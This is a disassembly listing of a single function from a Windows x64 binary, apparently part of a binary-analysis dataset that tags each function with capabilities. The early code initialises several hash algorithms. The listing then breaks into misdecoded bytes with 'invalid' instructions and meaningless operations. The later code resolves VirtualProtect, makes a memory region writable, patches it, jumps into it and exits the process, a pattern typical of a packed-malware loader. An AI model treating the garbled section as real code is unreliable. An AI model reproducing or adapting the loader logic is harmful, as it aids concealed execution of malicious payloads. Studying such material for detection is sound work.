Function at 0x140001cca
Capabilities:
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push r12
push r13
push r15
lea rbp, [rsp - 0x28]
sub rsp, 0x128
mov rax, qword [0x14010bcf8]
xor rax, rsp
mov qword [rbp + 0x10], rax
movzx r10d, byte [rcx + 0x228]
mov r11, rcx
mov qword [rsp + 0x28], rcx
mov r15, rdx
mov ecx, r10d
mov dword [rsp + 0x20], r10d
mov ebx, 0xffffff53
call fcn.140027f10
lea esi, [rbx - 0x3b]
mov r12d, eax
lea rdx, [0x140000000]
mov r13d, 0x40
cmp r10d, 0xf
ja case.0x14000195f.0
movsxd rax, r10d
mov ecx, dword [rdx + rax*4 + 0x1e64]
add rcx, rdx
jmp rcx
mov esi, r13d
jmp case.0x14000195f.1
mov esi, 0x80
jmp case.0x14000195f.1
mov esi, ebx
mov qword [rsp + 0x120], r14
test r12d, r12d
js 0x140001e3b
test esi, esi
js 0x140001e3b
mov qword [rsp + 0x170], rdi
cmp r10d, 0xf
ja case.0x1400019a9.0
movsxd rax, r10d
mov ecx, dword [rdx + rax*4 + 0x1ea4]
add rcx, rdx
xor edi, edi
jmp rcx
mov edx, edi
mov dword [rbp - 0x78], 0x10325476
mov dword [rsp + 0x38], edx
mov r8d, edi
mov dword [rbp - 0x7c], 0x98badcfe
mov r9d, edi
mov dword [rbp - 0x80], 0xefcdab89
mov dword [rsp + 0x7c], 0x67452301
mov qword [rbp - 0x70], rdi
mov qword [rsp + 0x30], rdi
jmp 0x140001ac8
mov dword [rbp - 0x74], 0xc3d2e1f0
jmp case.0x1400019a9.3
mov r8d, 0xc1059ed8
mov qword [rbp - 0x60], rdi
mov r9d, 0x367cd507
mov dword [rsp + 0x30], r8d
mov edx, 0x3070dd17
mov dword [rsp + 0x34], r9d
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], 0xf70e5939
mov dword [rsp + 0x40], 0xffc00b31
mov dword [rsp + 0x44], 0x68581511
mov dword [rsp + 0x48], 0x64f98fa7
mov dword [rsp + 0x4c], 0xbefa4fa4
mov qword [rbp - 0x70], rdi
mov dword [rbp - 0x68], edi
jmp 0x140001ac8
mov r8d, 0x6a09e667
mov qword [rbp - 0x60], rdi
mov r9d, 0xbb67ae85
mov dword [rsp + 0x30], r8d
mov edx, 0x3c6ef372
mov dword [rsp + 0x34], r9d
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], 0xa54ff53a
mov dword [rsp + 0x40], 0x510e527f
mov dword [rsp + 0x44], 0x9b05688c
mov dword [rsp + 0x48], 0x1f83d9ab
mov dword [rsp + 0x4c], 0x5be0cd19
mov qword [rbp - 0x70], rdi
mov dword [rbp - 0x68], edi
jmp 0x140001ac8
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.14002b9d0
jmp 0x140001ab0
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140029190
mov ebx, eax
test eax, eax
jne case.0x1400019a9.0
mov edx, dword [rsp + 0x38]
mov r9d, dword [rsp + 0x34]
mov r8d, dword [rsp + 0x30]
lea r14, [r11 + 0x160]
mov ebx, 0xffffff18
test r14, r14
je 0x140001e27
lea rcx, [0x140000000]
mov ecx, dword [rcx + r10*4 + 0x1ee4]
lea rax, [0x140000000]
add rcx, rax
jmp rcx
mov ebx, edi
cmp r8d, r13d
jb 0x140001b09
mov ebx, 0xffffff7c
jmp case.0x140001af6.10
lea eax, [r9 + rsi]
mov dword [rsp + 0x34], eax
cmp eax, r9d
jae 0x140001b1c
inc edx
mov dword [rsp + 0x38], edx
test r8d, r8d
je 0x140001b88
sub r13d, r8d
mov eax, r8d
cmp esi, r13d
lea rcx, [rsp + 0x3c]
mov rdx, r14
cmovb r13d, esi
add rcx, rax
mov r8d, r13d
mov edi, r13d
call fcn.1400b14c0
mov eax, dword [rsp + 0x30]
add r14, rdi
add eax, r13d
sub esi, r13d
mov dword [rsp + 0x30], eax
cmp eax, 0x40
jne 0x140001b88
lea rdx, [rsp + 0x3c]
lea rcx, [rsp + 0x30]
call fcn.140057fe0
mov ebx, eax
test eax, eax
je 0x140001b80
mov r10d, dword [rsp + 0x20]
xor edi, edi
mov r11, qword [rsp + 0x28]
jmp case.0x140001af6.10
mov dword [rsp + 0x30], 0
cmp esi, 0x40
jb 0x140001bd8
mov edi, esi
shr rdi, 6
movups xmm0, xmmword [r14]
lea rdx, [rsp + 0x3c]
add esi, 0xffffffc0
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x3c], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x4c], xmm1
movups xmm0, xmmword [r14 + 0x20]
movups xmmword [rsp + 0x5c], xmm0
movups xmm1, xmmword [r14 + 0x30]
add r14, 0x40
movups xmmword [rsp + 0x6c], xmm1
call fcn.140057fe0
mov ebx, eax
sub rdi, 1
jne 0x140001b93
test esi, esi
je 0x140001bf0
mov r8d, esi
lea rcx, [rsp + 0x3c]
mov rdx, r14
call fcn.1400b14c0
mov dword [rsp + 0x30], esi
mov r10d, dword [rsp + 0x20]
xor edi, edi
mov r11, qword [rsp + 0x28]
jmp case.0x140001af6.10
mov r8d, esi
lea rcx, [rsp + 0x30]
mov rdx, r14
call fcn.140036a30
mov r10d, dword [rsp + 0x20]
mov ebx, eax
mov r11, qword [rsp + 0x28]
jmp case.0x140001af6.10
mov r8d, esi
lea rcx, [rsp + 0x30]
mov rdx, r14
call fcn.140033850
mov r10d, dword [rsp + 0x20]
mov ebx, eax
mov r11, qword [rsp + 0x28]
jmp case.0x140001af6.10
mov r8d, esi
lea rcx, [rsp + 0x30]
mov rdx, r14
call fcn.14002a340
mov r10d, dword [rsp + 0x20]
mov ebx, eax
mov r11, qword [rsp + 0x28]
jmp case.0x140001af6.10
mov ebx, 0xffffff53
test ebx, ebx
jne case.0x1400019a9.0
lea rdx, [r11 + 0x1e0]
mov ebx, 0xffffff18
test rdx, rdx
jne 0x140001c7f
test r12d, r12d
jne 0x140001e27
lea r8, [0x140000000]
movsxd rax, r10d
mov ecx, dword [r8 + rax*4 + 0x1f24]
add rcx, r8
jmp rcx
mov r8d, r12d
lea rcx, [rsp + 0x30]
call fcn.1400587d0
mov r10d, dword [rsp + 0x20]
lea r8, [0x140000000]
mov ebx, eax
jmp case.0x140001c94.10
mov r8d, r12d
lea rcx, [rsp + 0x30]
call fcn.140036a30
mov r10d, dword [rsp + 0x20]
lea r8, [0xc9490000]
pop rsp
and al, 0x10
mov qword [rsp + 0x18], rbp
mov dword [rsp + 0x18], ebp
mov dword [rsp + 0x18], ebp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [str.kernel32.dll]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [0x14010a074]
sbb eax, 0x108378
sbb eax, 0x108378
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, dword [0x14010a074]
xor ebx, ebx
mov dword [rsp + 0x30], ebx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
enter 0x15ff, 0x3d
je 0x140001d3f
or eax, 0x801f0f00
add byte [rax], al
add byte [rax], al
enter 0x15ff, 0x3d
je 0x140001d3f
invalid
or eax, 0x801f0f00
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
invalid
mov rcx, qword [str.VirtualProtect]
adc byte [rax], al
mov edx, dword [rcx + rbx]
mov dword [rbx + rax], edx
add rbx, 4
cmp rbx, 0x88
jl 0x140001d3a
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140001df8
mov rbx, qword [0x14010a09c]
lea r9, [rsp + 0x30]
mov r8d, dword [0x14010a090]
mov rcx, rbx
mov edx, 0x6000
call rdi
mov r10, qword [0x14010a0ac]
lea r8, [rbx + 8]
mov r10d, r10d
mov r9d, 0x17fe
add r10, rbp
mov r11d, dword [r10 + 4]
sub r10, rbx
nop dword [rax]
mov ecx, dword [r10 + r8]
lea r8, [r8 + 4]
add ecx, r11d
mov dword [r8 - 4], ecx
sub r9, 1
jne 0x140001daa
mov eax, dword [0x14010a01c]
lea r9, [rsp + 0x30]
mov dword [rbx + 8], eax
mov edx, 0x6000
mov r8d, dword [rsp + 0x30]
mov rcx, rbx
call rdi
mov r8d, dword [reloc.WS2_32.dll_sendto]
mov edx, dword [rbx + 0xc]
mov ecx, dword [reloc.WS2_32.dll_sendto]
add r8, rdx
add r8, rbx
add rcx, rbx
call r8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, 0xffffff53
jmp case.0x1400019a9.0
mov ebx, 0xffffff18
mov rdi, qword [rsp + 0x170]
mov r14, qword [rsp + 0x120]
mov eax, ebx
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400b06c0
add rsp, 0x128
pop r15
pop r13
pop r12
pop rsi
pop rbx
pop rbp
ret